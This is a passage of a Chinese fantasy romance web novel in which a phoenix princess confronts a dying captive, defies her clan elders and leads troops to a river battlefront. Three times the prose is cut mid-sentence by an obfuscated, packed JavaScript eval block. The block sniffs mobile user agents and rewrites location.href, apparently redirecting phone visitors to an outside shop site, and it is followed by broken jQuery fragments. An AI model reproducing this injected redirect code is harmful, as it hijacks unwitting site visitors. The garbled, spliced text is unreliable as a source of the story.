郁离转身出门,一直守在门口的墨羽有些担心地往门内看。
他一直听到里面传出来古怪的声响,也知道烛殷的情况每日恶化,他有时都担心等不到女君来问话,她就已经彻底疯了。
但是……
墨羽的目光一顿。
门内,烛火跃动,烛光照亮整个不大的小屋,屋内空空荡荡——
只余下一件,破烂的衣衫空荡荡地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627138|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
铺在地上。
“女君,她……”
郁离把破了的指尖咬到嘴里,淡淡的血味在口腔内漫开。
“没了。”
墨羽目光一顿,没了?
是他想象的那个意思吗?
“把她的衣裙送回爻山,立冢。”
墨羽目光一震,“是。”
郁离站在原地,直到再察觉不到一丝血味之后,才缓步院外走。
凤凰灵血……
郁离的眼底流露出一丝恹恹。
真是把她当成唐僧肉了,不知道肠胃不好也吃不消吗。
……
寂渊还等在院外,这一场谈话比他预想的要久,出来时,郁离神色如常。
郁离上前一步接过寂渊手中的兔子花灯,笑着说:“走吧,我们去看烟花。”
她一蹦一跳地在前面走,看起来似乎和方才的模样没什么区别。
寂渊微微蹙眉。
“也不知道外面现在是什么样子,长老们总说,外面的世界天翻地覆,世道乱成一团。”
“我怎么也想象不出来,分明在这里,人们还算安宁和乐。”
“不过也是,我在第一次进入妖雾之前,我也想象不出妖雾里是什么样子的。”
“四海八荒处处都是妖雾,怎么会这样呢,我有时在梧桐神木上,也能看见有时一大块迷雾突然出现,笼罩半片森林……”
郁离尽量让自己的语气听起来寻常,但是她却止不住地话越说越多。
就像她心底的焦虑,止不住地越来越多,直到将她整个人都淹没。
“郁离。”
寂渊唤她。
郁离喜欢高处,不知不觉,也提着裙摆爬上城楼了,她怔怔回头看。
寂渊就站在离她不远不近的地方,蹙眉看着她:“你进去之前,想说什么。”
郁离笑,“没什么啊,只是想说……”
砰——
身后,烟花升空,在夜空中炸开。
郁离望着眼底倒映着星火的寂渊,此时此刻,他好像也被拽入了这个红尘。
法术炸开的烟花照彻夜空,郁离说:“……只是想说,希望每年都能如此。”
普通的人,过着普通的生活。
她想保护的人,还在身边。
郁离抬眼,眼底是潋滟一片的水光,她没有看烟花,看的是他。
寂渊一身霜意,像是杳杳月色中裁下的一段月练,驻足与她对视。
长久静默中,郁离率先败下阵来,她转过身,趴在漆红的栏杆上,遮住了眼底的情绪。
她本来想告诉寂渊烛夜是什么东西,想问问他,有没有什么办法。
想告诉他在面对烛夜时那些古怪的反应,想说她心底的焦虑和压抑。
她平静的生活,都被那一场突如其来的梦境打破了。
有时候,她想捂着头不管不顾地向前,却不得不修修补补,预防每一个可能通向那个结局的道路。
她的人生中,从未有过这么大的难题。
他可是帝君啊……他一定能帮她的。
但是……
那是一只早已不该存在于这个世界上的影族,还是一只远比普通影族,要强大得多的影族。
是一个生来,仿佛就是为了克制帝君这种存在的东西。
背对着寂渊,郁离面上的神情一下就垮掉了。
她怕寂渊出了什么差错,也怕寂渊因为自己卷入到这些事情当中。
她认识寂渊这么长时间,寂渊为她压制血脉反噬,她也清楚知道“帝君”两个字背后意味着什么。
他身上已经肩负了太多责任,妖雾、不死树……乱七八糟的事情,都堆在他的身上。
寂渊看过她无数个最狼狈不堪的样子,她也见过寂渊一身血气,带着无法克制的戾气与杀意时的样子。
寂渊说,他们是合作关系。
但总是寂渊替她压制血脉反噬的时候多,哪怕到了最不受控制的时候,寂渊也拒绝用她的凤凰灵血镇压妖雾反噬。
有时……还是她弄伤自己,强硬地把伤口凑到寂渊的嘴边。
……
郁离想,他这样好。
烛夜是为她而来的,她总会有办法。
就像烛殷垂涎凤凰灵血,却经受不住凤凰灵血的能量,仅仅是一滴,就把她烧成了灰烬。
郁离眸光微闪,说不定努努力,也能烧死那个丑乌鸦,再不济,她就炸死他。
竟然把她当成一块香香的唐僧肉……他怎么敢的?
“你们刚刚说了什么。”寂渊眸光微眯,看着郁离一会沉默不语,一会又暗暗咬牙,状态明显不对。
“问了她几个问题,她被我问的羞愤欲绝就死了!”
但他刚往前一步,郁离就反身,猛地撞上了坚硬的胸膛。
“……嘶。”
郁离疼得捂住额头,目光控诉:“你怎么走路没声音的。”
寂渊目光闪了闪,视线却落在郁离的指尖上:“你受伤了?”
郁离下意识又要往回缩手,但是她的动作却没寂渊快,手还没来得及缩回去,就被寂渊捉了个正着。
看见寂渊不善的目光,郁离眼眸微睁,有些难以接受:“你是狗鼻子还是什么,这都能看见啊……”
她出来的时候还特地含了一会,现在应该是一点血味都没有了。
寂渊看着欲盖弥彰的小凤凰,冷冷一声呵,“有佛祖割肉饲鹰,你这又是去喂了谁?”
他的墨色深浓,小凤凰恐怕自己都不知道,凤凰灵血对于……
是多么明显的一种味道。
方才郁离一直走在前面,噌噌噌往前面跑,被各种气味干扰,寂渊第一时间也没有分辨出来。
直到此时此刻,在这样近的距离之下,馥郁的血香,霸道地逸散出来,占据了所有的感官。
“……”
看寂渊神色不善,似乎又要长篇大论地教训她了。
郁离自暴自弃地抽回手,递到他的唇边。
“你吃一口吧。”
“本来我都……”郁离扁了扁嘴,有些心虚,“这算什么,这还是我自己用指甲扎的,不消一刻钟一点影都没有了。”
寂渊:“……”
小凤凰仿佛并不觉得这样说有什么问题,看他不动,郁离还坚持地往他唇边送了送,直到戳到了他的唇瓣。
凉凉的。
软软的。
看着寂渊的神色更暗,郁离理直气壮地抖擞了起来:
“干嘛?你最近不是一堆事,又要进妖雾,又是什么的,预防一下嘛。”
这样一打岔,寂渊应该不会在追问之前的问题了吧。
郁离有些心虚。
她知道寂渊不会真的动她,毕竟他向来克制,就算妖雾侵蚀理智时,也不为所动。
此时什么都没有,寂渊自然不会……
郁离瞳孔猛地放大。
她抬眼,寂渊面无表情地把她的手指含了进去。
玉色的指尖,进入了软软热热的口腔,还有喷洒其上的微热呼吸……
寂渊还是冷冷清清地看着她,可是这样的动作,让那一张总是冷冷若神祗的脸上,都添上了几分暧昧的色彩。
……老天。
郁离感到一种异样的酥麻从指尖一路过电似的传到了尾椎骨,若不是她定力坚韧,恐怕身后的尾羽已经花树似的抖成了一面羽扇。
郁离脸上火烧似的红了一片,夹了夹屁股,控制着不让没出息的尾羽就这么抖出来。
“嘶……”
看到她的走神,手指被警告似的咬了一口,郁离痛呼一声,手手往回缩。
寂渊却不容拒绝的抓住她的手指,用巾帕一寸一寸地把上面的水渍擦干净,继而覆上一层浅绿色的药膏。
从她的角度,只能看见寂渊有些紧绷的侧脸,郁离有点心虚,又有点隐隐的不忿,害她尾巴都蔫哒了。
郁离小小声控诉道。
“吃就算了……”
“怎么还咬人啊。”
16. 第十六章
寂渊淡淡抬眼看她,周身气息寒凉若霜雪,夜风不侵,凌凌间恍然若神祗。
小凤凰人怂,面色红红却理直气壮。
“说一千道一万也还是你的不对,是你先咬人的!”郁离叉腰壮胆。
但她可能自己都不知道,自己现在的样子到底有多心虚。
寂渊握住郁离的指尖,看见上面那一个小血点覆盖着药膏,肉眼几乎已经无法分辨。
他的手指微微用力,慢声道:“郁离,不论为了什么目的,永远不要自伤。”
郁离微怔,只见眼前一道灵光,如同一道弯月的弧光一般飞出,而后,顺着城墙爬上来的三三两两几只小妖应声倒地。
郁离瞪大了眼,都没注意到这些小妖是什么时候上来的。
“他们……”
这些小妖修为不高,大多还保留着一些原始的特征,此时眼底晦暗混沌,好似被什么吸引,迷茫地走了上来。
这一道灵光并不伤人,他们被灵光打中,只是倒在地上,痛呼着,迷茫的眼底恢复了清明。
仿佛不知道自己为什么会出现在这里一般,迷茫地对视一样,揉着屁股晃晃悠悠地下去了。
“这都是被你的血吸引过来的。”寂渊垂眸看向着一脸茫然的小凤凰,眼底晦暗。
郁离悻悻然捂住了自己的手指头,“有这么大的味道吗,我怎么闻不到。”
她只用了针尖一般的力道刺破指尖取血,什么味道能吸引这么多的小妖。
当时在妖雾里也是,受了一点伤,郁离自己都没有在意,但寂渊却神情意外郑重地为她处理了伤口。
“是什么样的味道,你能闻到吗?”郁离有些好奇地看着寂渊。
从一开始寂渊似乎也没有发现,但是她一抬手,寂渊就发现了。
郁离一开始还以为是他看见了伤口。
但是在指尖上的细微血点,就连郁离自己也要凑近了仔细看才能看见,寂渊的目力再是惊人想必也是看不见的。
凤凰灵血能治愈大多数的伤病,血香浓郁,是一种极度香甜、诱人的味道,尤其是对于妖鬼有着致命的吸引力。
又像是罂粟,令人上瘾。
但郁离显然没有这种自知之明。
寂渊没有直接回答郁离的问题,漫不经心地看着不知不觉又凑到眼前的小凤凰,淡声问:“小佛祖,你还没说你不惜自伤,也要割肉去喂的……是什么鹰。”
“……”
“哪里有这么夸张,就是一滴血而已!”郁离瞪大了眼,东拉西扯这么久,没料到怎么话题还是回到了这个上面。
郁离心虚瞟了一眼地面。
哪有什么鹰,只有一只险些差点被同化成影族的寒鸦。
寂渊眯起眼,声线略沉:“郁离——”
“知道了,知道了!”郁离投降似的吐了吐舌头,“我才不是什么佛祖,以后不会这样了。”
郁离不愿多说,寂渊没再继续追问。
那座院子内,气息不详,就算她不说,也能联想到不是什么好东西。
“郁离,我不问你去见了谁,说了什么,你现在又想做什么。但是郁离,永远不要把自己陷入到最无可挽回的境地。”
不同以往,这次寂渊说话的语气带着前所未有的压迫感,声线冷沉如阴云一般拢在心头。
郁离一怔,望见寂渊眼底冷沉的注视与警告。
她抿了抿唇,下意识想要反驳些什么,但却没能说出口。
郁离眼尾耷拉下来,一瞬的迷惘与无措。
一切心绪在寂渊洞若观火的目光之中都好似无所遁形。
她不想随意说点什么来哄骗他,却也知道——
至少在刚才,她是真的有想过,再不济,就算拼着神魂俱灭,血脉自爆也一定要杀了如今偷潜入凤山的该死影族。
“说话。”寂渊不耐眼前这只小凤凰长久的沉默,掀了掀眼皮,冷声催促。
迎着寂渊存在感极强的视线,郁离点了点头,意识到这样的态度显得有些敷衍,又认认真真地说了一句:“知道了。”
寂渊这才算满意。
半空之中,数道身影穿过外城的防护,落在两人面前。
一道无形无色的领域无声在脚下展开,将整个城墙之上都笼罩起来,隔绝了外界的声色。
“帝君,赤霞宫出事了。”
数道身影出现在眼前,几人着装整肃,还带着一身深渊里拼杀出来的戾气,神情肃然地说道,“赤水下生变,一波妖鬼趁夜袭击了营地,照晚将军昏迷不醒。”
寂渊神情不变,郁离的神色却变了又变。
赤水……
烛殷刚才提到过赤水,此时赤水突然生变,这二者之间,会不会有什么关联。
寂渊神色如常,道了一声知道了,就要先把郁离送回凤山,但郁离反手抓住了他的手腕。
郁离张了张嘴,还未说话,又有几道身影出现在这。
谢清晏与几名凤山长老一同出现,神情焦灼:“帝君,刚得到消息,不只是凤山,西陵群山的大叶山与青丘、极北的不周山、极东的东极岛、极南的沉剑阁都发现了不死树的踪迹——”
长老们开口道:“凤山那几个叛徒招供,原本他们意图同时催化这些不死树枝杈,引起四方大乱,却不想凤山不死树还没长成就被提前发现了。”
“趁现在,其他各方的不死树还没有长成,还、还、”长老说着话,突然望见那道站在帝君身侧的身影,神情既是惊骇,又是茫然,原本要说的话也卡壳了。
女君??
女君怎么会在这?
来不及惊讶于女君怎么会和帝君一起出现在外城,众长老张了张嘴,看了一眼旁边人的眼色,终究咽了下去:道:“帝君——”
所有人心中只有一个念头。
乱了。
都乱了。
原本整个四海八荒已经是一团乱局,可在这一夜,整个棋局就好像被强行加速,在一夕之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627139|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间乱成一团。
所有人都在看着那一道身如霜雪堆成的身影,此时此刻,寂渊面上带着泰山崩于前而色不变的镇定。
“你们回赤水,我随后就到,”寂渊先对几人说,又对谢清晏道,“着四方殿传讯各方,而后从月宫遣人支援。”
不死树由月宫世代负责看守,只有月宫中药师知道如何妥善处理不死树——
况且,不死树也需要被妥善回收。
一道接一道的帝令自他手中有条不紊地发出,天际闪过数道金色的灵光。
所有人都被调动起来,城头上站的人越来越少,直到所有人都奔向了该去的地方。
寂渊宽大的袖袍之下,郁离还紧紧攥着他的手腕,因为用力,郁离的指尖被自己按得发白。
另一只手拍了拍她,而后反手握住她的手腕,并不用力却不容拒绝地将人纳入自己的保护圈,抽身化作流光带着郁离回了梧桐宫。
“我回昆仑墟,”寂渊道,“若有反噬前兆,四方镜上唤我。”
郁离抿唇,垂下的小脸,面色透出冷郁的苍白。
“……好。”
寂渊多看她一眼,而后身影化作流光消失在夜空。
郁离望着寂渊离去的方向,神情有些放空。
今夜,她见到了烛殷,得知了烛夜或许是一只了不得的影族。
就在这一晚,整个四海八荒,都乱了起来。
昆仑墟,赤水生乱;一直在追查的不死树踪迹也忽然有了线索;交织的线头突然团成了一团线,缠成了一团乱麻。
墨羽出声打断郁离的思索:“小女君,今夜凤山生乱,那只名唤烛夜的寒鸦,不见了。”
郁离点了点头,比起前面,这实在是一个并不让人意外的消息。
今夜事多,烛夜趁乱跑了,一点都不稀奇。
索性她还没想到怎么合适地料理他,留在凤山也是个隐患。
她微垂着的脸,白得有些吓人。
郁离喃喃低声:“影族果真不死不灭吗……”
墨羽险些以为自己听错了,“女君?”
“墨羽,你听说过影族吗?”
“自然是听过的,可是此间世界,早已没有影族了,”言罢,墨羽迟疑看向郁离,“女君,是不是刚才的烛氏女,她……”
郁离摇了摇头,确切来说,烛氏女还没有变成影族。
墨羽道:“如今赤水之下,仍镇着十万妖鬼,但影族,早已灭族了。”
“影族近乎不死之身,哪怕受了再惨烈的伤,只要留下片点分身都能再次复原,要想杀死影族,难如登天,不然当时的帝君有通天的造化,也不至于以身祭了山河。”
这些,她是知道的。
郁离抬眼望着夜空,今夜注定是个不平静的夜晚,天际不时划过几道疾驰的灵光。
她忽道:“……长老们之前说,会派遣羽族三千精锐前往支援赤水。”
“墨羽,我打算和他们一起过去。”
17. 第十七章
小女君要亲自带人前往赤水支援,这个决定无疑遭到凤山羽族所有人的一致反对。
“女君,您绝不能离开凤山!”
说话的是负责训练羽卫的孔雀长老,在他身旁站着的枭羽长老和木灵长老同样的一脸严肃。
孔雀面白无须,平日总是漫不经心地摇着羽扇,一幅翩翩君子之风,今日难得的疾言厉色。
“帝君留下的封印松动,深渊之下的妖鬼也是蠢蠢欲动,赤水是如今四海八荒最大的战场,女君,您没有去过战场,不知道那是什么样子。”
会遇到阻碍,郁离并不意外,甚至早有预料。
往日若是遇到这样的事,长老院都恨不得齐齐出动,来个十二方会审,势必要打消郁离的念头。
但是夜里出了事,雪片般的坏消息从四面八方飞来,凤山内部也不安稳,长老们忙着加固大阵,追查羽族奸细,忙得脚不沾地……
就连此时匆忙赶来的三位长老,也俱是眼下青黑一片,看起来疲惫不堪。
郁离拢着绒毯,捧着茶盏浅啜,素日总是显得白皙苍白的脸上,也因为暖融融的茶水入腹,多了几分鲜妍的薄红。
她身后稠黑的乌发坠地,眉眼并不见着急,垂着长睫声音如甘冽泉水般流淌。
“四海格局混乱,羽族已经置身事外多年,但如今的情形,四海又要乱起来了,长老们一开始选择蛰伏,恐怕也不是为了在山里做一辈子的野人吧。”
凤凰一族全盛时期,整个羽族都跟着鸡犬升天,很是过了一段“人上人”的日子。
四海八荒各族,谁也不服谁。但要说哪一族最傲慢,必然是羽族当仁不让。
羽族经历过极盛时的繁荣,所以才能攒下凤山如此丰厚的底蕴,虽然世易时移,凤山羽族早已不同以往,但他们骨子里的傲慢却从未变过。
凤山羽族大多数臣民都迫切地渴盼着,重回巅峰,重新在四海八荒占有一席之地,而不是此时这般,寂寂无名地缩在深山里。
闻听此言,孔雀腰间的传讯符闪了闪。
“凤山已经应允,派三千羽族精锐前往支援,这绝不是置身事外,”孔长老心中有所动摇,“但是女君,您绝不能离开凤山。”
他拧眉继续道:“去赤水战场,不像您要接手族务或者去外城看看灯会那么简单,这不是儿戏!您就算去了,也帮不上什么忙,还要羽卫分心保护您。”
枭羽目光一震:“孔雀!你在说什么!”
他的话,不亚于直接指着郁离说,您就算去了也没什么用,不过是平添累赘。
孔雀梗着脖子,他也心疼女君,也知道这话说得不对。
但是凤凰神脉是凤山的宝贵财产,绝容不得一分一毫的损失!
郁离放下茶盏,杯盏在小几上发出不轻不重的一声轻响。
她面上微冷,眼底却没有更多的情绪,只因——
或许早知道,他们心里想的是什么,此时心底竟没有太过猛烈的情绪来袭。
此时此刻,她也不是只能抱膝躲在梧桐神木上落泪的小凤凰,她还有她必须要做的事。
郁离望着仰着脖子,并不打算退让的孔长老,缓慢启唇,温软和煦的嗓音中带上几分凉意。
“就一直龟缩在凤山,绝不在人前暴露自己的实力……”
“如此,他们就会因为凤山有一只不知底细的凤凰而对凤山羽族敬而重之么?”
“一直龟缩不出,只会为人耻笑,如今羽族早已没了脊梁骨,何来半点尊崇可言?”
郁离的声音本如山涧清风般柔和,此时话音入耳,却句句如刀。
几人目光震动:“女君……”
“至于帮不上什么忙……”郁离招手,“墨羽,你是孔雀长老训练出来的,如今多年未得长老指点,就让孔长老看看你的本事。”
孔雀看着从郁离身后缓缓走出的黑衣少年,面上微僵,墨羽身形直如刀,直面他的目光,不退不避。
——这就是要让他们决斗的意思了。
“好,女君要让墨羽替您出战……可以。”孔雀目光从墨羽身上移开。
“羽族规矩,若有不服打一场,败者不再置喙,墨羽替您出战,若墨羽败了,您就不再提去赤水战场的事!”
郁离点头颔首。
墨羽听令出席,看了一眼沉着脸的小女君,心里浮现出昨夜女君望着他说的话。
“墨羽,你可敢为我打一场?”
身形清瘦的少年不卑不亢地走出,肩背挺得笔直,一对黑色羽翼在身后展开,墨羽神色紧绷,战意凛冽。
“还请长老赐教。”
这有什么不敢?
他这条命,生来就属于女君,就算女君要他战死,他也绝不说一个怕字。
孔雀不以为意地摇了摇头: “……女君,墨羽后生可畏,但他与老夫,恐怕还有些差距。”
“来吧,墨羽,让我看看你的长进如何。”
墨羽背脊绷紧,近乎将自己绷成了一张弓,足下积蓄着力量,只在宣布开始的刹那,如同离弦之箭一般冲了出去。
两人的速度极快,瞬息之间对撞在一起,都没有拿出武器,只是纯粹肉身与肉身之间的碰撞,拳拳到肉,只在刹那之间就已经过了数十招,气浪轰然而起。
枭羽与木灵对视一眼,神色无奈,没料到事情怎么就进行到这一步了。
他们原以为,这一场要许久之后才能分出胜负。
两人虽有差距,却不至于悬殊,墨羽为了女君自然是全力以赴,但在女君面前孔雀必然有所顾忌,不会让墨羽输的太过难堪。
——一开始,枭羽和木灵是这样想的。
却不想,片刻之后,胜负已分。
轰然炸开的气浪褪去,露出中央的两个人,墨羽还站着,清瘦的少年拱了拱手:“多谢长老指点。”
孔雀半跪在地上咳血,目露骇然:“……怎么会?”
墨羽怎么会有这么惊人的爆发力和速度?!
这一切,都太快了。
在孔雀还没反应过来的时候,就已经结束了。
墨羽战意未消,平息着血液之中叫嚣的战意,他蓦然垂首,半跪在地——
他的指尖从领口摸出一片金色的凤凰翎羽,小心翼翼地放在掌中,向郁离呈上凤凰羽。
“谢女君赐羽。”
那是……
凤凰翎羽?
几人的目光有一瞬间的发怔。
郁离没接:“收着吧。”
“这是……”
几位长老目光微震,电光火石之间,他们想起来当日谢清晏从妖雾里出来,对他们说的意味深长的话。
“……你们凤山,藏得可真深啊。”
当日他们对这句话,还有些嗤之以鼻。
只因他们盼着女君郁离能够突然觉醒真正的凤凰之力,变成战神凤凰大杀四方,却没想过,谢清晏当日说的话,并不是溢美之词。
郁离抬眼看向几人:“有一分热,发一分光,纵是萤火,也可以在黑暗里发一点光。”*
“我虽不能作为战士,去战场上拼杀,但我在后方,也绝不是全无作用。”
“如今四海皆乱,凤山避世不出多年,这一战,我亲自带人去,也算是展现凤山的态度。”
孔雀站起身,他是亲身在战斗中感受到墨羽爆发力的,他也是一名战士,自然知道这意味着什么。
他此时虽然面色有些难看,但输了就是输了,羽族也并不在意这些。
孔雀看着墨羽指尖那一片金红的翎羽,感到有些眼热。
孔雀嘴唇嗫嚅着,半晌道:“女君,谦逊了。”
女君有这种能力,绝不是萤火之光。
“女君这样的能力,现在能覆盖多少人?”
郁离摇头:“还没有试过上限,上一次进入妖雾,能覆盖到同行的所有人……”
“所以,我想去赤水……试试。”郁离抬起眼,眼底目光坚定。
凤山长老固执,却并不是冥顽不化之辈。
他们清楚地知道,女君表现出来的这种能力,代表着什么。
几位长老与她对视,最后吃了败仗的孔雀最先败下阵来。
原本他们决不会同意让女君出行,可今日,他们不得不承认,当日谢清晏说的话是对的。
谢清晏当日还说,“若是赤水战场上有女君这样的助力,不知赤水军会减少多少损伤……”
如今时局大乱,凤山已然不能置身事外。
雏鸟长大了总要离开巢穴,女君已然有了入局的本事,如何还能再将她囚之高楼,让她做那不能离开凤山的笼中鸟。
纵使心乱如麻,被派来劝阻女君的三人纷纷倒戈,对着郁离点了头。
“……等女君回来,也能、能、”最后孔雀卡了壳,有些不好意思开口似的,面白无须的整张脸都红透了,“也能赐我等翎羽么……”
“就让我们几个老家伙,亲自护送女君去赤水!”
“……”
枭羽头疼捂脸。
*
当晚,黑夜裹着夜的斗篷,夜色深浓似雾气,在弱水河下洞穴之内。
洞穴外表不起眼,内里乾坤甚大,有人站在高处俯视着台下的人。
“我们为了这个计划,死伤了无数的兄弟,为了送你入凤山……呵呵,牺牲惨重啊。”
“烛夜,你的力量,不仅没有增强,反而变得更加虚弱了,看来你的决定,并不怎么明智啊……”
裹着斗篷的人,只露出一双眼睛,眼中带着不加掩饰的贪婪与鄙夷。
烛夜面色苍白得过头,他干咳一声,抬眼:“天下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627140|143549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经大乱,时局越乱,于我越有利。”
他身上的雾气逸散,黑水一般流淌,眼看着黑气流淌到了自己的脚边,裹着斗篷的人眼神一厉,一道血光从他手中飞出。
“滚开!你这个肮脏卑贱的东西,怎么敢靠近本尊?”斗篷人刹那间退开数十步,神色冰冷厌恶地盯着他。
“你承诺的灵血,若是还没有进度,你身上的东西,也该还回来了!”
烛夜生受一击,胸口被洞穿一个大洞,他仿佛感觉不到疼痛一般,漠然看着伤口中的血肉缓慢蠕动着愈合。
“……是。”
他低着头,垂眼看着地面斗篷人的影子,眼底杀意冰冷。
这样无用的东西,也敢伤他。
是了……所有人,看他的目光都是一样的。
只有一个人,不会这样嫌弃他的出身,嫌弃他的身份,认为他是最低贱的动物。
但是那个人却变了。
烛夜面色一冷,斗篷人还在暴怒地指责,却突然没了声响,他惊恐地低头,只能看见自己的脚下空空荡荡——
他的影子,不见了。
方才还高高在上不可一世的人,惊恐地张了张嘴,却什么声音都没能发出。
“去死吧。”烛夜面无表情地说道,“你的用处也是到头了。”
*
原本凤山打算派三千精锐出行,因为郁离也要去赤水前线,三千加到了五千,加上郁离自己的五百近卫,足五千五百羽族精锐浩浩荡荡开往赤水。
说到底还是不放心郁离出行。
凤山长老院焦头烂额地商议半日,最后决定长老院十二人轮换。三人成组,两天一换,每日跟在女君身边,绝不叫女君在外面受了分毫损伤。
第一轮护送郁离的,就是当日来梧桐宫劝郁离的三人。
他们严阵以待地守在鸾车之外,郁离坐在鸾车中翻看着凤山藏书中关于影族的记载。
有关影族的记载本就不多,郁离只在上古史中找到寥寥几句,上面记载的和她所知道的也差不多。
郁离揉了揉眉心,心道,凤山藏书不丰,要说世间藏书最多、记载最全的地方,一定是昆仑墟。
四方殿,掌天下事。
总是跟在帝君身边的谢清晏,对于妖邪鬼怪之流更是如数家珍。
这次出行,郁离特地把四方镜带了出来,缩小了只是手指大小的一面小镜子,像是装饰一样的挂在腰链上。
想了想,郁离拿出四方镜,对着四方镜上面唯一的一道气息发出讯息。
水墨一般的字样在四方镜上浮现:【能给我谢清晏的联系吗,想找他借点东西】
郁离望着窗外掠去的树影,霞光初盛,凤山所在的西陵群山毗邻赤水,和昆仑墟不过隔着一条赤水隔岸相望。
其实相距并不远。
只不过这个不远,也是从地图上看,实际上,西陵群山大小山脉起伏,辽阔连绵数千里。
纵使鸾车日行千里,此时要从凤山前往赤水,依鸾车的速度,恐怕也要近黄昏才能在赤水河畔落地。
其他羽族则不必乘车,跟在郁离身后飞行。
若不用与鸾车的速度对齐,羽族急行军,他们还能比鸾车早到半日。
出乎意料的,四方镜一闪,很快收到了回复。
郁离收回视线,看到镜面上浮现一行字:【没有】
……?
他们不是时常在一起吗?帝君竟然没有谢清晏的联络?
另一行字接着浮现:【你找他要什么】
郁离的指尖在镜面上点了点,垂眸思索片刻。
找寂渊要也是一样的吧,只要不说得太明显,应该也没什么。
郁离犹豫片刻,写道:【先生让写有关上古各族的研究,凤山藏书不多,想问问昆仑墟有没有相关的记载】
【知道了,我让人给你送过去】
话毕,镜面上的光黯淡下来。
郁离望着镜面出神,想到的却是,虽然她没有问寂渊现在如何,但他回四方镜的速度这么快,想必……
那边情况已经安定下来了吧。
*
赤水阵线,跟着帝君一同冲出阵线数十里的赤水军噤若寒蝉。
只见帝君突然驻足,看着手中的四方镜,都以为是别的地方出了什么大事,不敢妄动。
寂渊一身银铠,身染无数孽气深重的妖血,眉眼却是一派霜雪凌冽般的干净。
他蹙眉看着四方镜,水流涤荡过沾染血污的指尖,随后认真地敲下回复。
片刻之后,寂渊回完四方镜,又提气毫不犹豫地冲入妖群,雪亮的雷弧照彻赤水,如同天降雷罚,悍烈无双地将无数入侵妖鬼都劈成了焦炭。
这次,赤水下异动,妖鬼集结发起总攻,却在帝君回防之后迅速被杀退百里。
18. 第十八章
赤水河畔营地。
将军大帐内,照晚忽然惊醒:“有敌袭——快去通知帝君!”
“将军,帝君已经到了。”月殊一直守在营帐内,看她醒来,熟稔地将刚制好的丹药送上,神情无奈。
照晚统领赤水右军,刚换防到赤水边线,就遇到赤水深渊暴动,为了将深渊里爬出的妖鬼拦在界碑之外,她身受重伤,身上多处贯穿伤。
饶是月殊已经见惯了照晚总是一身是伤的样子,此时也忍不住开口道:“将军,您只需要将消息传回,通知赤霞宫驻军支援,您怎么……”
看见他,照晚神情微松。
“小兔子,是你啊,”她吃了药,想伸手摸摸月殊的头,一伸手扯动伤口,动作停在半空,又若无其事地放下,“怎么是你来,你姐姐呢。”
“宫主去追查不死树的下落,这次是我随军,”月殊看她动作,不赞同地蹙眉,回头要去取外敷的伤药,“你这次险些伤及要害,还是好好躺着吧。”
一扭头的功夫,照晚已经捂着胸口从床上蹦了起来:“不必管我,我感觉已经大好了,小兔子,你去伤兵营吧。”
“照晚将军,你——!”
月殊看着她胸口包扎好的伤口又开始氤出血迹,面上不由得带上几分怒意。
怎么一个两个都这么不顾惜自己的身体!
帝君也就算了,根本不听他的,如今照晚也是。
照晚已经抬手找来亲随,女卫递上三米长的银枪:“帝君亲至,半日之内退敌百里,如今追至深渊入口了。”
“好,我这就去追上帝君!”照晚一挥长枪,罡气凛冽,受伤口牵动,神色又白了一瞬。
月殊沉着脸拦在她面前:“凤山消息,女君亲率五千余羽族精锐而来,将军你如今的任务,是留在营地等待羽族援兵。”
“……”照晚被拦住,面色为难,“非得是我?”
“非得是你。”月殊一步不让。
“羽族来得真是时候。”照晚负气把长枪一丢,发出刺耳的一声响。
突然意识到什么,照晚面色一顿,僵硬转身:“等等——你说谁来了?”
天际传来清凌悦耳的声音,恍如凤鸟啼鸣:“凤山女君郁离,亲率羽族精锐前来驰援。”
“来了。”月殊比了一个请的手势。
“……”
“那个凤山宝贝了五百年、看得跟眼珠子似的不让外人看也不让外人碰的宝贝凤凰蛋……居然出来了??”
“疯了吧!还直接送到赤水前线,那不是、那不是……要是蹭破一点皮,凤山那群疯老头不得跟老娘拼命?”
“不行不行,这能不能拒收啊,”照晚愁眉苦脸,“这羽族士兵留下行,要不让……”
“将军,您说呢?”
*
赤水在昆仑墟下,横开天河,将昆仑与西陵群山分割。
此处距离前线战场还有数里,裸露的河滩上临时搭建出营地,许多身着白衣的月宫药师行走其间,忙忙碌碌为伤兵包扎换药。
如今已是近黄昏,霞光映红半边天,赤水也被映成了霞光一样的红色,远远看去,竟真成了赤色。
往远处看,能看到赤水河面逐渐拓宽,变成了横无际涯的大泽,中心像是有浓墨一样的黑,倾倒入湖面,形成了一个倒悬的漩涡。
在那之下,就是赤水深渊,一个镇压着无数妖鬼的地方。
据说,烛夜就是从这里,爬出来的。
